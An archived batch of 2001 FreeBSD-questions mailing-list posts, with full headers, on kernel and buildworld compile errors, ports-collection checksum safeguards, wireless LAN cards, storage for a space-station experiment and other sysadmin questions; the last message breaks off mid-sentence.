X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG FoxSurfer Sys Admin types: > I'm running 4.4 Stable and I'm getting the following error with 'make' > after I do 'make depend' in ../../compile/mykernel > I've tried doing a 'make clean' and starting over but I keep getting the > same error. I'll only post part of it since it seems to be doing it to every > file in /usr/src/sys/modules/linux/../../i386/linux/ > > ===> linux > cc -c -O -pipe -D_KERNEL -Wall -Wredundant-decls -Wnested-externs [clip] > /usr/src/sys/modules/linux/../../i386/linux/linux_dummy.c ... etc. > *** Error code 1 > hopefully this is enough info Nope. The answer is in that etc. Error code 1 is make reporting that an make that it invoked failed. We really need the error message from the C compiler. Just as a shot in the dark, are you trying to compiler a kernel after having done a source update? If so, that's probably the source of your problem. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 1: 9:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id B963C37B418; Fri, 23 Nov 2001 01:09:16 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 2F13A66B74; Fri, 23 Nov 2001 01:09:16 -0800 (PST) Date: Fri, 23 Nov 2001 01:09:15 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: "Gary W. Swearingen" , FreeBSD Questions , freebsd-security@FreeBSD.ORG Subject: Re: setuid on nethack? Message-ID: <20011123010915.A35695@xor.obsecurity.org> References: <014201c17336$40653f90$0a00000a@atkielski.com> <20011122112415.B855@straylight.oblivion.bg> <016001c17338$37d65240$0a00000a@atkielski.com> <20011122114813.C855@straylight.oblivion.bg> <016601c1733d$7a516b00$0a00000a@atkielski.com> <03a801c17399$ba011c30$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="45Z9DzgjV8m4Oswq" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <03a801c17399$ba011c30$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 10:07:42PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Nov 22, 2001 at 10:07:42PM +0100, Anthony Atkielski wrote: > Alas! This does not make me feel warm and fuzzy! It's a good thing I'm not > installing this at a bank. If you're going to run software written by Joe Random Coder, there's always an element of risk. There's nothing about the FreeBSD ports collection which increases this risk, and in fact it makes the situation slightly safer since we check all "spontaneous" changes in the md5 checksum of a distfile where the distfile changes with no change in the software version (e.g. once a few years ago someone broke into the main ftp server for the tcp_wrappers package, and added backdoor code to it. The compromised software could not be installed from the FreeBSD port unless you manually issued an override of the checksum). We have also found several isolated instances where software authors had 'spyware' code which reports details back to the author; these ports were summarily removed from the ports collection, again making things safer for the end user. Thirdly, since you have the source code you are free to examine it for yourself and evaluate your level of risk according to whichever criteria you choose. Kris --45Z9DzgjV8m4Oswq Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/hI7Wry0BWjoQKURAthmAKDPgmZbU97GfKlPUnWaYMK1l0jwDQCeJKcn 5DBNwgzvQb/aBI0aYZS09h4= =QuWq -----END PGP SIGNATURE----- --45Z9DzgjV8m4Oswq-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 1:19:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 36E9E37B59E for ; Fri, 23 Nov 2001 01:16:04 -0800 (PST) Received: (qmail 20942 invoked by uid 100); 23 Nov 2001 09:15:58 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15358.5070.746345.596922@guru.mired.org> Date: Fri, 23 Nov 2001 03:15:58 -0600 To: Cliff Sarginson Cc: questions@freebsd.org Subject: Re: A (IMHO) Question Asking Good Guide In-Reply-To: <24320492@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Cliff Sarginson types: > On Thu, Nov 22, 2001 at 08:59:11PM -0600, Mike Meyer wrote: > > Dominic Marks types: > > > On Wednesday 21 November 2001 6:25 pm, Drew Tomlinson wrote: > > > > The preface in the PDF FAQ at > > > > http://www.smoothwall.org/download/pdf/docs/0.9.9/doc.faq.pdf seems > > > > to be a good guide on how to ask questions in forums such as this > > > > one. It might be a place to direct those that don't seem to have a > > > > clue as to how support groups such as this one work. > > > ESR has a good guide as well, somewhere on his home page > > > (http://www.tuxedo.org/~esr/). > > The preface to the document is ESR's guide. > Mmm. The part of ESR's guide on how to phrase and submit questions > is pretty good. Much of the way it is written however is highly > quetionable IMHO. The continuing use of the third person plural > to refer to "hackers" and the notion that hackers are somehow > above the norms that apply to others is highly dubious. First: I hope you realize that ESR uses hackers in the original sense, and does not mean the juvenile delinquents the the media refers to with that term. Second, I read it as saying that hackers are different from the norms, not above them. This is true. Hackers in the sense that ESR uses it *are* different from the norms. If they weren't different, they wouldn't be hackers. The same comment applies to a lot of professions. In particular, hackers tend to have poorly - or at least differently - developed social skills. I think it's it would be a flaw in the guide if ESR failed to warn the rest of the populace about that. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 1:26:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bessel.tekniikka.turkuamk.fi (bessel.tekniikka.turkuamk.fi [193.166.133.10]) by hub.freebsd.org (Postfix) with ESMTP id 0C2ED37B418 for ; Fri, 23 Nov 2001 01:26:19 -0800 (PST) Received: from localhost (eyurtese@localhost) by bessel.tekniikka.turkuamk.fi (8.9.2/8.9.2) with ESMTP id LAA142200 for ; Fri, 23 Nov 2001 11:26:16 +0200 Date: Fri, 23 Nov 2001 11:26:06 +0200 (WET) From: Evren Yurtesen To: freebsd-questions@freebsd.org Subject: ntop weirdness! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG when I run ntop, I see that I send many mb of data to some MAC addresses in the network but I dont know what data it is and why the hell I send that data, how can I know from which process data is leaving and what kind of data it is etc? ntop v.1.1 MT [i386-unknown-freebsd4.2] listening on ed0 36894 Pkts/21.4 MB [IP 2.9 MB/Other 18.6 MB] Thpt: 3.6 Mbps/3.6 Mbps Host Act -Rcvd- Sent TCP UDP ICMP 00:80:C8:55:7B:12 R 0.0 Kbps 1.7 Mbps 0 0 0 00:90:6F:37:70:00 R 0.6 Kbps 541.1 Kbps 0 0 0 00:30:4F:09:12:47 R 0.0 Kbps 469.0 Kbps 0 0 0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 1:54:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mpehp1.mpe-garching.mpg.de (mpehp1.mpe-garching.mpg.de [130.183.70.10]) by hub.freebsd.org (Postfix) with ESMTP id 69F2637B416 for ; Fri, 23 Nov 2001 01:54:11 -0800 (PST) Received: from robert2.mpe-garching.mpg.de (robert2.mpe-garching.mpg.de [130.183.136.59]) by mpehp1.mpe-garching.mpg.de (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id KAA17161 for ; Fri, 23 Nov 2001 10:54:10 +0100 (MET) Received: (from sutter@localhost) by robert2.mpe-garching.mpg.de (8.11.6/8.11.6) id fAN9sZJ06435 for freebsd-questions@FreeBSD.ORG; Fri, 23 Nov 2001 10:54:35 +0100 (CET) (envelope-from sutter) Date: Fri, 23 Nov 2001 10:54:35 +0100 From: Robert Suetterlin To: freebsd-questions@FreeBSD.ORG Subject: need recommendation on hirarchical storage management. (reposted) Message-ID: <20011123105435.A69665@robert2.mpe-garching.mpg.de> References: <20011120171803.A22854@robert2.mpe-garching.mpg.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120171803.A22854@robert2.mpe-garching.mpg.de>; from robert@mpe.mpg.de on Tue, Nov 20, 2001 at 05:18:03PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, is there a working hirarchical storage management solution for *BSD? Like Samfs (Solaris) Tivoli (several) etc. I really need a hint where to look for it or whom to ask? A search on Google, the FreeBSD Faq and Manual, the ports collection revealed nothing. A search in old mailing list archives found netbsd thread on this topic from 1998... but only a discussion on starting HSM support in netbsd. It would also be sufficient, if there was a *BSD-DMAPI (also called OpenXDSM). Personally I would prefer a lightweight, open source, free solution, as this will be used in a scientific program. And I would like to have it BSD, because that is with what I work, found most convenied for our computing needs and allows for a wide range of hardware. The two alternatives (commercial) I found so far would be a Sun + Solaris + Samfs or a completely handmade proprietary device. The first might have problems with the limits (see below) and the second will not allow for easy upgrade to new hardware (project launched 2006+) and software advancements. Our experiment will be hosted on the ISS (international space station). It needs to record a data stream (uncompressed images) at approx 260MByte per Second. In bursts of 45Minutes. Over 5-10 years, with periodic (i.e. Shuttle Mission Interval) replacement of permanent storage (best would be tape). Limits are spacial 494x435x248mm, power 200W (at 28VDC), disturbance of microgravity (by rotating media), noise. Bye, Robert. -- Robert Suetterlin (robert@mpe.mpg.de) phone: (+49)89 / 30000-3546 fax: (+49)89 / 30000-3950 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2: 8:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 6733037B405 for ; Fri, 23 Nov 2001 02:08:45 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fANA8ZR32591; Fri, 23 Nov 2001 02:08:35 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Robert Suetterlin" , Subject: RE: need recommendation on hirarchical storage management. (reposted) Date: Fri, 23 Nov 2001 02:08:35 -0800 Message-ID: <004401c17406$d0250f40$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <20011123105435.A69665@robert2.mpe-garching.mpg.de> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Robert >Suetterlin >Sent: Friday, November 23, 2001 1:55 AM >To: freebsd-questions@FreeBSD.ORG >Subject: need recommendation on hirarchical storage management. >(reposted) > > >Hello, > >is there a working hirarchical storage management solution for >*BSD? Like Samfs (Solaris) Tivoli (several) etc. > >I really need a hint where to look for it or whom to ask? A search on > >Our experiment will be hosted on the ISS (international space station). Gee - why are you asking here? For the publicity value alone Sun should be willing to give you all hardware and a lot of software support for free. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2:16:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 71AC737B416 for ; Fri, 23 Nov 2001 02:16:13 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fANAG1R32608; Fri, 23 Nov 2001 02:16:01 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "ScaryG" , "Steve Brown" , "Fuji Zhang" Cc: Subject: RE: high speed internet connection and lesstif question Date: Fri, 23 Nov 2001 02:16:00 -0800 Message-ID: <006301c17407$d9a5cf40$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <013f01c17395$cb0e06e0$7301a8c0@eagle.ca> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of ScaryG >Sent: Thursday, November 22, 2001 12:40 PM >To: Steve Brown; Fuji Zhang >Cc: freebsd-questions@FreeBSD.ORG >Subject: Re: high speed internet connection and lesstif question > > > More good info. I often wondered if I should have just broke down and >bought a Netgear RT314 and saved me some grief configuring my FreeBSD box >but hey, I had all the stuff here and it didn't cost me anything but time. I >have two NICS in my box in which the second feeds a hub and my other >machines. > > But for those not willing to goof around with NAT and IPFW in addition to >trying PPPoE the Internet Gateway gadgets are a nice idea. > I can also particularly recommend the RT314 vs something like the Linksys. With the Linksys, it's only webmanaged, the RT314 can be telnetted into in addition to the webinterface. Very easy to do from a BSD command prompt. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2:16:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from uclink4.berkeley.edu (uclink4.Berkeley.EDU [128.32.25.39]) by hub.freebsd.org (Postfix) with ESMTP id 99D2D37B417; Fri, 23 Nov 2001 02:16:25 -0800 (PST) Received: from zeus (ppp-66-123-206-167.dialup.snfc21.pacbell.net [66.123.206.167]) by uclink4.berkeley.edu (8.11.4/8.11.4) with SMTP id fANAGN707485; Fri, 23 Nov 2001 02:16:23 -0800 (PST) From: "Leonard C." To: , Subject: FreeBSD and Wireless LAN cards? Date: Fri, 23 Nov 2001 02:18:27 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm looking into setting up a wireless Ethernet network. I've seen network access points available for around $120-140 for a cheap Linksys. However, it seems to me that it'd be probably cheaper just to buy a desktop wireless Ethernet card and use FreeBSD as a bridge and a DHCP server. Has anybody tried this before and have any recommendations on cards which play well with FreeBSD and which to avoid? Thanks, Leonard To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2:25: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.living-source.com (sgw-fr.living-source.com [212.2.36.144]) by hub.freebsd.org (Postfix) with SMTP id 2C46C37B417 for ; Fri, 23 Nov 2001 02:25:01 -0800 (PST) Received: (qmail 23450 invoked by uid 0); 23 Nov 2001 10:25:35 -0000 Received: from shaman.fr.living-source (192.168.0.25) by mail.living-source.com with SMTP; 23 Nov 2001 10:25:35 -0000 From: Adi Sieker To: freebsd-questions@FreeBSD.ORG Subject: Problem with buildworld RELENG_4_4 on a RELENG_4_1_1 system Date: Fri, 23 Nov 2001 11:25:16 +0100 Organization: living source GmbH Reply-To: adi@living-source.com Message-ID: <468svtk2ffuh56s7nmdhtc8i3h1t793rqd@4ax.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all, I get an error when doing a buildworld. After a search on groups.google I found one reference to this problem. The idea suggested there was: rm -rf /usr/src rm -rf /usr/obj cvsup=20 cd /usr/src make buildworld but the problems persists. Here the last bit from the buildworld output: I get the following error when doing a buildworld: cc -O2 -pipe -march=3Dpentiumpro -funroll-loops -fstrength-reduce -ffast-math -fexpensive-optimizations -fomit-frame-pointer=20 -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ld/i386 -I/usr/src/gnu/usr.bin/binutils/ld -I/usr/src/gnu/usr.bin/binutils/ld/../libbfd/i386 -I/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/include -DDEFAULT_EMULATION=3D\"elf_i386\" -DTARGET=3D\"i386-unknown-freebsd\" -DSCRIPTDIR=3D\"/usr/obj/usr/src/i386/usr/libdata\" -I/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld -I/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/bfd -I/usr/src/gnu/usr.bin/binutils/ld/../../../../include -DVERSION=3D\""2.11.2 20010719 [FreeBSD]"\" -DBFD_VERSION=3D\""2.11.2 20010719 [FreeBSD]"\" -I/usr/obj/usr/src/i386/usr/include -static -o ld eelf_i386.o ldcref.o ldctor.o ldemul.o ldexp.o ldfile.o ldgram.o ldlang.o ldlex.o ldmain.o ldmisc.o ldver.o ldwrite.o lexsup.o mri.o ../libbfd/libbfd.a ../libiberty/libiberty.a eelf_i386.o: In function `gldelf_i386_open_dynamic_archive': eelf_i386.o(.text+0xe68): undefined reference to `basename' *** Error code 1 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error my supfile is online at http://www.living-source.com/user/adi/buildworld/supfile.txt=20 kernel config is at http://www.living-source.com/user/adi/buildworld/kernelconf.txt complete buildworld output is here http://www.living-source.com/user/adi/buildworld/make-buildworld.log The current system is a 4.1.1 box I'd appreciate any hints on how to fix this problem. I really would like to get the update with cvsup working, as I want to update another =46reeBSD box which is 3000KM away. Regards Adi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2:25:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from clientmail.realtime.co.uk (simian.realtime.co.uk [213.52.146.137]) by hub.freebsd.org (Postfix) with ESMTP id 4F0A837B418; Fri, 23 Nov 2001 02:25:50 -0800 (PST) Received: from pan.ehsrealtime.com ([213.52.146.196]) by clientmail.realtime.co.uk with esmtp (Exim 3.20 #1) id 167DWk-0005XK-01; Fri, 23 Nov 2001 10:25:46 +0000 Received: from waynep by pan.ehsrealtime.com with local (Exim 3.33 #1) id 167DUw-0000GY-00; Fri, 23 Nov 2001 10:23:54 +0000 From: Wayne Pascoe To: "Leonard C." Cc: , Subject: Re: FreeBSD and Wireless LAN cards? References: Date: 23 Nov 2001 10:23:53 +0000 In-Reply-To: Message-ID: <86pu69iy4m.fsf@pan.ehsrealtime.com> Lines: 29 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Leonard C." writes: > I'm looking into setting up a wireless Ethernet network. I've seen network > access points available for around $120-140 for a cheap Linksys. > > However, it seems to me that it'd be probably cheaper just to buy a desktop > wireless Ethernet card and use FreeBSD as a bridge and a DHCP server. > > Has anybody tried this before and have any recommendations on cards which > play well with FreeBSD and which to avoid? I've not seen any desktop wireless ethernet cards. What you generally have to do is buy a pcmcia card and an ISA - PCMCIA converter for the PC. I have been warned in the past to use ISA and not PCI. I'm not sure if PCI is supported yet. Getting it all going is really easy. I went with Lucent Orinoco silver cards. The main difference (that I know of) between the silver and gold cards is encryption strength. As WEP is broken anyhows, no big deal :) Just use a ipsec tunnel. HTH -- - Wayne Pascoe | Mary had a crypto key, she kept freebsd@molemanarmy.com | it in escrow, and everything that Mary http://www.molemanarmy.com | said, the Feds were sure to know. | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2:31:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from purveyor6.Dresdnerbank.de (purveyor6.DresdnerBank.de [193.194.7.52]) by hub.freebsd.org (Postfix) with ESMTP id ABFB737B405 for ; Fri, 23 Nov 2001 02:31:32 -0800 (PST) Received: from ffz00egn.wwz0me.mail.dresdner.net (unverified) by purveyor6.Dresdnerbank.de (Content Technologies SMTPRS 2.0.15) with ESMTP id for ; Fri, 23 Nov 2001 11:31:18 +0100 Received: by ffz00egn.wwz0me.mail.dresdner.net with Internet Mail Service (5.5.2655.55) id ; Fri, 23 Nov 2001 11:31:18 +0100 Message-Id: From: "Koeller, Manfred" To: "'freebsd-questions@FreeBSD.ORG'" Subject: Release 4.4 not downloadable Date: Fri, 23 Nov 2001 11:31:06 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi folks, just a question: I tried to download release 4.4 but the server said: The file has moved to another location. There seems to be no ISO image for 4.4 on your site. What 's wrong? Regards Manfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2:34:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 4330937B41A for ; Fri, 23 Nov 2001 02:34:08 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fANAXhR32669; Fri, 23 Nov 2001 02:33:43 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Anthony Atkielski" , "Jan Grant" Cc: "setantae" , "questions" Subject: RE: home pc use Date: Fri, 23 Nov 2001 02:33:43 -0800 Message-ID: <007d01c1740a$52cdd280$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <004901c17287$9eff56d0$0a00000a@atkielski.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: Anthony Atkielski [mailto:anthony@atkielski.com] >Sent: Wednesday, November 21, 2001 4:25 AM >To: Ted Mittelstaedt; Jan Grant >Cc: setantae; questions >Subject: Re: home pc use > > >> The problem is that the people that suspect >> hardware and aren't willing to swap it out >> are protecting their feelings of affection >> for some piece of hardware, somewhere. > >Or they just don't want to spend large amounts of money buying >hardware they'll >never again use just to disprove something that is already extremely >improbable. >If hardware were free and didn't require taking PCs apart to replace, the >situation might be different. > You can't tell me that most computer users at the level of FreeBSD usage don't have access to a string of other systems, and don't have friends and family that they can borrow stuff from, and don't know how to take apart their computer. I know with my own family that I'm the first avenue of technical support for them. And if they don't - well this is one of the things that user groups are good at. There's also that little website called Ebay that has a ton of this kind of stuff for peanuts. You don't HAVE to replace your motherboard with a brand-new top-o-the-line Wonkulating Grokulator to prove an incompatability, a cheapo Pentium 200 works fine too. Computer hardware is almost free you just got to use a bit of imagination. Hell I read in the local paper the authorities are up in arms about all the old computers and their toxins that are ending up in the landfill. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 2:55:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id 63A5937B405 for ; Fri, 23 Nov 2001 02:55:18 -0800 (PST) Received: from user-112vp95.biz.mindspring.com ([66.47.229.37] helo=FRANKENFURTER) by smtp6.mindspring.com with esmtp (Exim 3.33 #1) id 167DzI-0003ud-00; Fri, 23 Nov 2001 05:55:16 -0500 Date: Fri, 23 Nov 2001 03:01:07 -0800 From: Brian Sobolak X-Mailer: The Bat! (v1.51) Personal Reply-To: Brian Sobolak X-Priority: 3 (Normal) Message-ID: <3759457635.20011123030107@mindspring.com> To: "Koeller, Manfred" Cc: "'freebsd-questions@FreeBSD.ORG'" Subject: Re: Release 4.4 not downloadable In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi Friday, November 23, 2001, 2:31:06 AM, you wrote: KM> Hi folks, KM> just a question: I tried to download release 4.4 but the server said: The KM> file has moved to another location. There seems to be no ISO image for 4.4 KM> on your site. KM> What 's wrong? Um, what server did you try to FTP the release from? brian -- Got work? http://www.planetshwoop.com/resume/ This is how I think: http://www.planetshwoop.com/blog/ Brian Sobolak sobolak@mindspring.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3: 1:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns.uh.ru (ns.uh.ru [62.118.252.32]) by hub.freebsd.org (Postfix) with ESMTP id A4A0037B405 for ; Fri, 23 Nov 2001 03:01:42 -0800 (PST) Received: from there (ppp18.yaroslavl.ru [217.15.128.18]) by ns.uh.ru (8.11.6/8.11.6) with SMTP id fANAwhu05833 for ; Fri, 23 Nov 2001 13:58:43 +0300 (MSK) (envelope-from volax@uh.ru) Message-Id: <200111231058.fANAwhu05833@ns.uh.ru> Content-Type: text/plain; charset="koi8-r" From: "Alexander S. Volchenkov" Reply-To: volax@uh.ru Organization: Superbmarket To: Subject: POP3 aliasing question Date: Fri, 23 Nov 2001 14:01:30 +0300 X-Mailer: KMail [version 1.3] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all! I have sendmail and popd installed in my FreeBSD 4.4 box and it setted up to recieve mail from more than 200 domain names. Unix A1 recieves mail into info@domainA.com, 